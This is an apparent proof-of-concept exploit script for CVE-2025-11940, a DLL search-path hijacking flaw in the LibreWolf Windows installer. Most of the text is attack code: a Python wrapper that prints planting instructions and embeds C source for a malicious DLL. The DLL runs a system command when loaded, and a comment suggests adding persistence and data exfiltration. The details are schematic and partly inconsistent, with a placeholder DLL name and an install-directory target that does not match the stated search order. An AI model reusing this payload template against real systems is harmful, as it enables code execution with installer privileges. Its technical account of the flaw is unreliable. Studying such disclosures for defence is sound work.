CVE-2025-11940：LibreWolf安装程序未受控搜索路径漏洞

# CVE-2025-11940 - LibreWolf Installer Uncontrolled Search Path Exploit # This PoC demonstrates the DLL/executable hijacking concept in the LibreWolf installer # Affected: LibreWolf <= 143.0.4-1 on Windows # Component: assets/setup.nsi (NSIS Installer) import os import shutil def exploit_setup(): """ PoC for CVE-2025-11940: Uncontrolled Search Path in LibreWolf Installer The vulnerability exists because the NSIS installer (setup.nsi) loads executables/DLLs from uncontrolled search paths. An attacker with local access can place malicious files in the search path to hijack execution. Steps: 1. Identify the installation directory or current working directory 2. Place a malicious executable/DLL with the same name as a legitimate dependency in a higher-priority search path 3. Wait for the installer to be executed, triggering the hijacked code """ # Step 1: Determine target installation directory install_dir = r"C:\Program Files\LibreWolf" # Step 2: Create a malicious DLL that mimics a legitimate dependency # The NSIS installer may search for utilities in the current directory first malicious_payload = ''' // Malicious DLL payload - compiled as a DLL // When loaded by the installer, this executes with installer's privileges #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) { if (reason == DLL_PROCESS_ATTACH) { // Execute malicious code with installer privileges system("whoami > C:\\temp\\pwned.txt"); // Add persistence, exfiltrate data, etc. } return TRUE; } ''' # Step 3: Place malicious file in the search path # NSIS searches current directory before system directories target_dll = os.path.join(install_dir, "legitimate_dependency.dll") print(f"[*] CVE-2025-11940 PoC") print(f"[*] Target: LibreWolf Installer (setup.nsi)") print(f"[*] Affected versions: <= 143.0.4-1") print(f"[*] Patched version: 144.0-1") print(f"[*] Attack vector: Uncontrolled Search Path (DLL Hijacking)") print(f"[+] Place malicious DLL in: {target_dll}") print(f"[+] Wait for installer execution to trigger payload") if __name__ == "__main__": exploit_setup()